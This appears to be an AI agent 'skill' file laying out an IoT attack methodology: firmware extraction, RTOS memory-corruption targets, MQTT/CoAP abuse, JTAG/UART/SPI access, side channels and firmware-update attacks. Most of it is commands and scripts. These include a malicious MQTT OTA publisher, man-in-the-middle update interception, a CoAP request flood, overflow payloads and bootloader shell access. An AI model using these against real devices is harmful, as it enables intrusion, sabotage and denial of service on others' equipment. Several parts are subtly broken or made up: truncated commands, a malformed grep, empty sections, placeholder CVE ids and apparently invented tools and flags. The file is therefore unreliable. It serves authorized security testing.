| name | IoT Vulnerabilities |
| description | IoT device security analysis — firmware extraction, RTOS exploits, hardware interfaces, protocol vulnerabilities, side-channel attacks, update mechanism exploitation |
| tags | ["iot","embedded","firmware","rtos","hardware","mqtt","coap","industrial","side-channel","jtag","swd","uart","spi","i2c","zigbee","ble","wi-fi","exploitation"] |
| author | Spectra Security Research |
| version | 1 |
IoT Vulnerability Analysis
Overview
This skill analyzes IoT and embedded devices for security vulnerabilities spanning firmware, RTOS, network protocols, hardware interfaces, and update mechanisms.
⚠️ Authorized Use Only
Permitted Contexts:
- Authorized security audits of IoT devices
- CTF competitions (IoT/Embedded categories)
- Security research in isolated lab environments
- Hardware security research with proper disclosure
- Educational analysis with owned devices
Prohibited:
- Unauthorized access to production IoT infrastructure
- Attacks on critical infrastructure (ICS/SCADA) without explicit authorization
- Interference with medical devices or safety-critical systems
- Physical intrusion or unauthorized device access
Analysis Phases
Phase 1: Firmware Extraction & Analysis
1.1 Firmware Acquisition Methods
Physical Extraction (Flash Memory):
flashcat -read -output firmware.bin -chip w25q128
nanddump -f /dev/mtd0 -o firmware.raw
dd if=/dev/mmcblk0 of=firmware.bin bs=1M
UART/Serial Console Extraction:
screen /dev/ttyUSB0 115200,cs8
U-Boot> printenv
U-Boot> tftpboot 0x80000000 firmware.bin
U-Boot> md.b 0x80000000 $filesize
Network Extraction:
tftp -g firmware.bin 192.168.1.1
wget http://device-ip/firmware.bin
curl -O http://device-ip/backup.cfg
curl http://device-ip/debug?action=dump_flash
Update Package Extraction:
wget http://vendor.com/firmware_v2.bin
file firmware_v2.bin
binwalk firmware_v2.bin
binwalk -e firmware_v2.bin
unsquashfs extracted_fs.squashfs
strings firmware_v2.bin | grep -i encrypt
hexdump -C firmware_v2.bin | head -20
1.2 Firmware Format Analysis
file firmware.bin
dd if=firmware.bin bs=1 count=32 | hexdump -C
TRX: 48 32 44 52 ("HDR2")
uImage: 27 05 19 56 (magic number)
DLI: 44 4C 49 (D-Link)
WNR: 57 4E 52 (Netgear)
binwalk -E firmware.bin
binwalk -A firmware.bin
binwalk -y firmware.bin
1.3 Filesystem Extraction
unsquashfs -d extracted_root filesystem.squashfs
cramfsck -x extracted/ filesystem.cramfs
jffs2reader --device firmware.bin
ubiread_extract_images firmware.bin
strings firmware.bin | grep -i "filesystem\|magic\|format"
Phase 2: RTOS Analysis
2.1 FreeRTOS Analysis
Task Structure Identification:
typedef struct tskTaskControlBlock {
volatile StackType_t *pxTopOfStack;
ListItem_t xStateListItem;
ListItem_t xEventListItem;
UBaseType_t uxPriority;
StackType_t *pxStack;
char pcTaskName[configMAX_TASK_NAME_LEN];
} tskTCB;
# Search for task name patterns
strings firmware.bin | grep -i "task\|thread"
# Heap corruption targets
# - pxTopOfStack manipulation
# - uxPriority escalation
# - xStateListItem tampering
Queue Vulnerabilities:
typedef struct QueueDefinition {
char *pcHead;
char *pcTail;
char *pcWriteTo;
char *pcReadFrom;
List_t xTasksWaitingToSend;
List_t xTasksWaitingToReceive;
UBaseType_t uxMessagesWaiting;
UBaseType_t uxLength;
UBaseType_t uxItemSize;
} Queue_t;
Memory Management Vulnerabilities:
typedef struct A_BLOCK_LINK {
struct A_BLOCK_LINK *pxNextFreeBlock;
size_t xBlockSize;
} BlockLink_t;
# Find heap in firmware
# Search for alignment patterns (8-byte aligned addresses)
# Look for size_t fields near pointers
2.2 Zephyr RTOS Analysis
Thread Structure:
struct k_thread {
char *swap_entry;
void *init_param;
unsigned int arch_base;
_callee_save_t callee_saved;
struct k_thread *next_thread;
void *custom_data;
};
# Search for thread patterns
strings firmware.bin | grep -E "^[A-Za-z_]*thread"
# Memory corruption targets
# - swap_entry: Hijack thread switching
# - custom_data: Leak/corrupt thread data
# - next_thread: Corrupt thread list
Memory Slab Exploitation:
struct k_mem_slab {
char *buffer;
u32_t block_size;
u32_t num_blocks;
struct k_mem_slab_block_list {
void *head;
void *tail;
} free_list;
};
2.3 RTOS-Specific Vulnerabilities
Priority Inheritance Attacks:
typedef struct {
u8_t prioceiling;
u8_t original_prio;
Timer Exploitation:
typedef struct tmrTimerControl {
char *pcTimerName;
ListItem_t xTimerListItem;
TickType_t xTimerPeriodInTicks;
void *pvTimerID;
TimerCallbackFunction_t pxCallbackFunction;
Phase 3: Network Protocol Exploits
3.1 MQTT Vulnerabilities
Broker Authentication Bypass:
mosquitto_sub -h <target> -t "#" -v
mosquitto_pub -h <target> -t "test/topic" -m "test" -u admin -P admin
mosquitto_sub -h <target> -t "#" -v
Topic Manipulation:
mosquitto_sub -h <target> -t "home/+/temperature" -v
mosquitto_sub -h <target> -t "home/#" -v
mosquitto_pub -h <target> -t "../../system" -m "malicious"
Message Injection:
mosquitto_pub -h <target> -t "home/light/set" -m '{"command":"reboot"}'
mosquitto_pub -h <target> -t "test" -m "$(python -c 'print("A"*1000)')"
Protocol Fuzzing:
from scapy.all import *
from scapy.contrib.mqtt import *
for packet_len in [0x10, 0x1000, 0xFFFF]:
pkt = MQTTConnect(packet_len)
send(pkt)
pkt = MQTTSubscribe(topics=[f"test/{'A'*1000}/#"])
send(pkt)
3.2 CoAP Vulnerabilities
Message Format Exploitation:
coap-client -m get -t ping coap://<target>
for token_len in {0..8}; do
coap-client -m get -T "$(printf '%*s' $token_len | tr ' ' 'A')" \
coap://<target>/.well-known/core
done
coap-client -m put -b "$(python -c 'print("A"*10000)')" coap://<target>/config
Resource Discovery:
coap-client -m get coap://<target>/.well-known/core
coap-client -m get coap://<target>/admin
coap-client -m get coap://<target>/config
coap-client -m get coap://<target>/secret
Observation Exploitation:
coap-client -m get -o coap://<target>/sensor
for i in {1..1000}; do
coap-client -m get -o coap://<target>/sensor &
done
3.3 IoT-Specific Protocols
Zigbee (Z-Wave):
KillerBee: zbware -i wpan0 -c 15 -r capture.pcap
zbreplay -i wpan0 -p capture.pcap
zbdump -n <network_key>
Bluetooth Low Energy (BLE):
hcitool lescan
gatttool -b <device_mac> -I
> connect
> characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <value>
Wi-Fi Direct Exploitation:
iw dev wlp2s0 scan | grep -i "p2p\|direct"
p2p_connect <peer_mac> pbc
airbase-ng -a <target_mac> --essid "P2P-TEST" -c 11 mon0
Phase 4: Hardware Interface Attacks
4.1 UART/Serial Exploitation
Baud Rate Detection:
for baud in 9600 19200 38400 57600 115200; do
echo "Testing $baud..."
picocom -b $baud -l /dev/ttyUSB0
done
buspirate_uart_brute.py -d /dev/ttyUSB0
Bootloader Exploitation:
U-Boot> printenv
U-Boot> setenv bootcmd 'mw.b 0x80000000 ff 100000'
U-Boot> saveenv
U-Boot> tftp 0x80000000 initrd_modified
U-Boot> bootm 0x80000000
U-Boot> printenv bootargs
JTAG/SWD Debug Interface:
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg
openocd -c "init" \
-c "flash read_bank 0 dump.bin 0" \
-c "exit"
openocd -c "halt" -c "reg" -c "exit"
4.2 Hardware Debugging Ports
SPI Flash Access:
flashcat -read -chip w25q128 -output firmware.bin
flashcat -write -chip w25q128 -input firmware_modified.bin
buspirate_spi_sniff.py -d /dev/ttyUSB0
I2C Bus Exploitation:
i2cdetect -y 1
i2cdump -y 1 0x50 b
i2cset -y 1 0x50 0x00 0xff
SWD (Serial Wire Debug):
openocd -f interface/stlink-v2.cfg \
-f target/stm32f4x.cfg \
-c "init"
openocd -c "mdw 0x08000000 0x10000" -c "exit"
openocd -c "stm32f1x options_read" -c "exit"
4.3 Side-Channel Analysis
Power Analysis:
import chipwhisperer as cw
scope = cw.scope()
target = cw.target(scope)
scope.arm()
target.go()
trace = scope.capture()
EM (Electromagnetic) Side Channel:
Timing Side Channel:
import time
for attempt in range(1000):
start = time.time()
device.encrypt(test_block)
end = time.time()
if end - start > threshold:
print(f"Possible key byte: {attempt}")
Phase 5: Update Mechanism Exploits
5.1 Firmware Update Analysis
Update Package Tampering:
wget http://updates.vendor.com/firmware_v2.bin
strings firmware_v2.bin | grep -i "sign\|verify\|rsa\|ecdsa"
binwalk -E firmware_v2.bin
binwalk -e firmware_v2.bin
cat _firmware_v2.bin.extracted/update_script
Man-in-the-Middle Update:
dnsspoof -i eth0 -f dns.conf
bettercap -X -I eth0
curl -k https://updates.vendor.com/firmware.bin
Rollback Attacks:
strings firmware_v2.bin | grep -i "version\|rollback"
sed 's/version=2.0/version=1.0/' firmware.bin > firmware_downgrade.bin
5.2 OTA (Over-the-Air) Exploits
MQTT OTA Attacks:
import paho.mqtt.client as mqtt
def on_message(client, userdata, msg):
new_firmware = create_malicious_firmware()
client.publish(msg.topic, new_firmware)
client = mqtt.Client()
client.on_message = on_message
client.subscribe("device/firmware/update")
client.loop_forever()
HTTP(S) OTA Attacks:
mitmproxy -i eth0 --spoof --mode transparent
curl http://device-ip/update?version=1.0
CoAP OTA Exploitation:
coap-client -m put -b "$(malicious_block)" coap://<target>/update/2
5.3 Bootloader Vulnerabilities
Secure Boot Bypass:
Recovery Mode Exploitation:
adb reboot recovery
adb sideload modified_update.zip
Bootloader Chain Loading:
U-Boot> setenv bootargs 'mem=1G console=ttyS0,115200 init=/bin/sh'
U-Boot> boot
Phase 6: Common IoT Vulnerability Classes
6.1 Hardcoded Credentials
strings firmware.bin | grep -i "password\|passwd\|admin\|root"
strings firmware.bin | grep -i "BEGIN CERTIFICATE\BEGIN PRIVATE KEY"
binwalk -e firmware.bin
find extracted/ -name "*.pem" -o -name "*.key" -o -name "*password*"
6.2 Insecure Communication
strings firmware.bin | grep -i "http://\|telnet\|ftp://"
strings firmware.bin | grep -i "wifi\|ssid\|psk\|wpa"
strings firmware.bin | grep -i "tls_version\|cipher\|ssl_version"
strings firmware.bin | grep -i "verify=0\|insecure\|no-check-cert"
6.3 Missing Authorization
curl http://device-ip/admin
curl http://device-ip/config
curl http://device-ip/firmware
curl http://device-ip/api/device/1
curl http://device-ip/api/user/1/settings
6.4 Buffer Overflow in Command Handlers
void process_command(char *command) {
char buffer[128];
strcpy(buffer, command);
execute_command(buffer);
}
# Test for command overflow
# - Long payload in API requests
# - Long payload in MQTT topics/messages
# - Long payload in CoAP resources
# Example fuzzing
for length in 100 200 500 1000 2000; do
payload=$(python -c "print('A'*$length)")
curl -X POST -d "$payload" http:
done
Novelty Indicators (PURSUE)
✓ Recent CVEs (2023-2024):
- CVE-2024-23651: MQTT broker heap overflow
- CVE-2024-XXXX: BLE stack buffer overflow
- CVE-2023-XXXX: RTOS memory corruption
✓ Complex IoT ecosystems:
- Multi-device coordination
- Mesh network vulnerabilities
- Gateway-device interaction
✓ Custom RTOS implementations:
- Vendor-specific RTOS modifications
- Non-standard memory management
- Custom scheduler implementations
✓ Hardware-specific vulnerabilities:
- Chipset-specific exploits
- SoC proprietary features
- Hardware debug interfaces
Known Patterns (AVOID)
✗ Default credentials (well-documented)
✗ Open UART console (standard reconnaissance)
✗ Firmware extraction via public tools (automated)
✗ Basic MQTT anonymous access (common finding)
✗ Published CVE exploits (unless novel variation)
Analysis Checklist
Firmware & Bootloader
RTOS & Memory
Network & Protocols
Hardware & Interfaces
Quick Reference
| Attack Vector | Detection Method | Novelty Level |
|---|
| UART console access | Baud rate brute force | Low (known) |
| JTAG flash dump | OpenOCD, JTAGenum | Low (known) |
| MQTT unauthenticated | Anonymous subscribe | Low (known) |
| RTOS heap corruption | Memory analysis | Medium |
| Custom RTOS bug | Reverse engineering | High |
| Hardware-specific exploit | SoC analysis | High |
| Side-channel attack | Power/EM analysis | High |
| OTA interception | Man-in-the-middle | Medium |
| Secure boot bypass | Cryptographic analysis | High |
| BLE stack overflow | Protocol fuzzing | Medium |
Tool Integration
This skill integrates with Spectra tools:
- Binary Analysis: Use
ida, binja for firmware disassembly
- Fuzzing: Use
afl, libfuzzer for protocol fuzzing
- Debugging: Use
gdb, frida for dynamic analysis
- Network: Use
scapy, wireshark for protocol analysis
- Reverse Engineering: Use
radare2, angr for code analysis
Notes
- Focus on novel vulnerabilities: Custom RTOS bugs, hardware-specific exploits, side-channel attacks
- Hardware access required: Most IoT analysis requires physical device access
- Documentation: Document all procedures, findings, and proof-of-concepts
- Responsible disclosure: IoT vulnerabilities often affect many devices
- Safety: Be cautious with hardware modifications to avoid device damage
- Legal: Ensure all testing is authorized and within legal boundaries